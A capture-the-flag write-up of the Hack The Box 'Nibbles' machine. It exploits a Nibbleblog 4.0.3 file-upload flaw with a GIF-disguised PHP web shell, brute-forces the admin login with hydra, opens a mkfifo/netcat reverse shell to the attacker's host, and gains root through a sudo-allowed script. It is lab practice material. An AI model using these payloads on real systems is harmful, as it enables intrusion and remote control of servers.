Skip to main content

Nibbles (HTB)

Platform: Hack The Box
OS: Linux
Difficulty: Easy
Result: root


Attack Chain​

Reconnaissance
├── nmap -sC -sV -A → 22 (OpenSSH 7.2p2), 80 (Apache 2.4.18 Ubuntu 16.04)
└── Burp → HTML comment: <!-- /nibbleblog/ directory. Nothing interesting here! -->

Foothold
├── /nibbleblog/ → "Powered by Nibbleblog"
├── /nibbleblog/admin/boot/rules/98-constants.bit → NIBBLEBLOG_VERSION = 4.0.3 "Coffee"
├── searchsploit nibbleblog → php/remote/38489.rb (Arbitrary File Upload)
├── /nibbleblog/update.php → ./content/private/
├── /nibbleblog/content/private/users.xml → username: admin
├── hydra → IP got blacklisted
├── new VPN IP → admin:<PASSWORD>
└── /nibbleblog/admin.php?controller=plugins&action=list → My Image plugin

Exploitation (File Upload)
├── cmd.php: GIF8; <?php echo system($_REQUEST['ipp']); ?>
├── Upload via My Image → /nibbleblog/content/private/plugins/my_image/image.php
├── ?ipp=whoami → RCE (nibbler)
└── Reverse shell via POST → nc -lvnp 9001

Lateral Movement / User Flag
├── /home/nibbler/user.txt
└── Stabilize: python3 -c 'import pty;pty.spawn("/bin/bash")'

Privilege Escalation
├── sudo -l → (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
├── mkdir -p personal/stuff
├── echo '/bin/bash -ip' > monitor.sh && chmod +x monitor.sh
├── sudo ./monitor.sh → root
└── cat /root/root.txt

NOTE

All flags, passwords, hashes, and session tokens have been masked for ethical reasons.


Machine Briefing​

Ubuntu 16.04 with Apache 2.4.18. The web server hosts Nibbleblog 4.0.3 "Coffee". The My Image plugin allows file uploads without extension validation.


Reconnaissance​

Port Scan​

sudo nmap -sC -sV -A -T5 -Pn 10.129.96.84
PortServiceVersion
22SSHOpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80HTTPApache httpd 2.4.18 (Ubuntu)

Port 5904 is filtered.

Stack Identification​

A Burp response contains an HTML comment:

<!-- /nibbleblog/ directory. Nothing interesting here! -->

Foothold​

Detecting Nibbleblog Version​

curl http://10.129.96.84/nibbleblog/admin/boot/rules/98-constants.bit
define('NIBBLEBLOG_VERSION', '4.0.3');
define('NIBBLEBLOG_NAME', 'Coffee');

Searching for Public Exploits​

searchsploit nibbleblog
Exploit TitlePath
Nibbleblog 3 - Multiple SQL Injectionsphp/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)php/remote/38489.rb

Copy for analysis:

searchsploit -m php/remote/38489.rb

Key Fields in the Exploit​

'uri' => normalize_uri(target_uri.path, 'admin.php'),
'vars_get' => {
'controller' => 'plugins',
'action' => 'config',
'plugin' => 'my_image'
}

CVE-2015-6967 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2015-6967)

Nibbleblog 4.0.3 - My Image plugin: arbitrary file upload (no extension/MIME validation).

Vulnerability: the My Image plugin preserves the original file extension and does not validate the file type - a PHP file can be uploaded.

Obtaining Credentials​

curl http://10.129.96.84/nibbleblog/update.php
# DB updated: ./content/private/config.xml
# DB updated: ./content/private/comments.xml

curl http://10.129.96.84/nibbleblog/content/private/users.xml

The user admin is visible. First brute-force attempt via hydra:

hydra -l admin -P /usr/share/wordlists/rockyou-50.txt 10.129.96.84 \
http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect username or password" -t 64

After 5 failed attempts, the IP was blacklisted (see users.xml). Solution - change the VPN profile, get a new IP, and guess manually:

admin:<PASSWORD>

Uploading the Web Shell​

Create a cmd.php file with a GIF8 header:

GIF8;
<?php echo system($_REQUEST['ipp']); ?>

Verification:

file cmd.php
# cmd.php: GIF image data 16188 x 26736

Upload via /nibbleblog/admin.php?controller=plugins&action=list → My Image.

After upload:

http://10.129.96.84/nibbleblog/content/private/plugins/my_image/image.php?ipp=whoami
# GIF8; nibbler nibbler

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

Reverse Shell​

ipp=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> 9001 >/tmp/f

In Burp Repeater - POST method, URL-encode with Ctrl+U.

nc -lvnp 9001

Stabilize Shell​

python3 -c 'import pty;pty.spawn("/bin/bash")'

User Flag​

cat /home/nibbler/user.txt

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).


Privilege Escalation​

sudo Enumeration​

sudo -l
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

The file does not exist - create it manually:

mkdir -p personal/stuff
echo '/bin/bash -ip' > personal/stuff/monitor.sh
chmod +x personal/stuff/monitor.sh
sudo ./personal/stuff/monitor.sh

Obtain a root shell. Read the flag:

cat /root/root.txt

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).


Flags​

FlagValue
User<USER_FLAG>
Root<ROOT_FLAG>

Key Takeaways​

  • Nibbleblog 4.0.3 My Image plugin - file upload without extension or MIME validation; a classic path to RCE.
  • GIF8 wrapper - bypasses the "image" check without actually rebuilding the file.
  • Nibbleblog IP blacklist - 5 failed logins block the IP; solved by changing the VPN profile.
  • sudo -l on a missing script - if root allows executing a file as root without a password and the file does not exist, it can be created manually.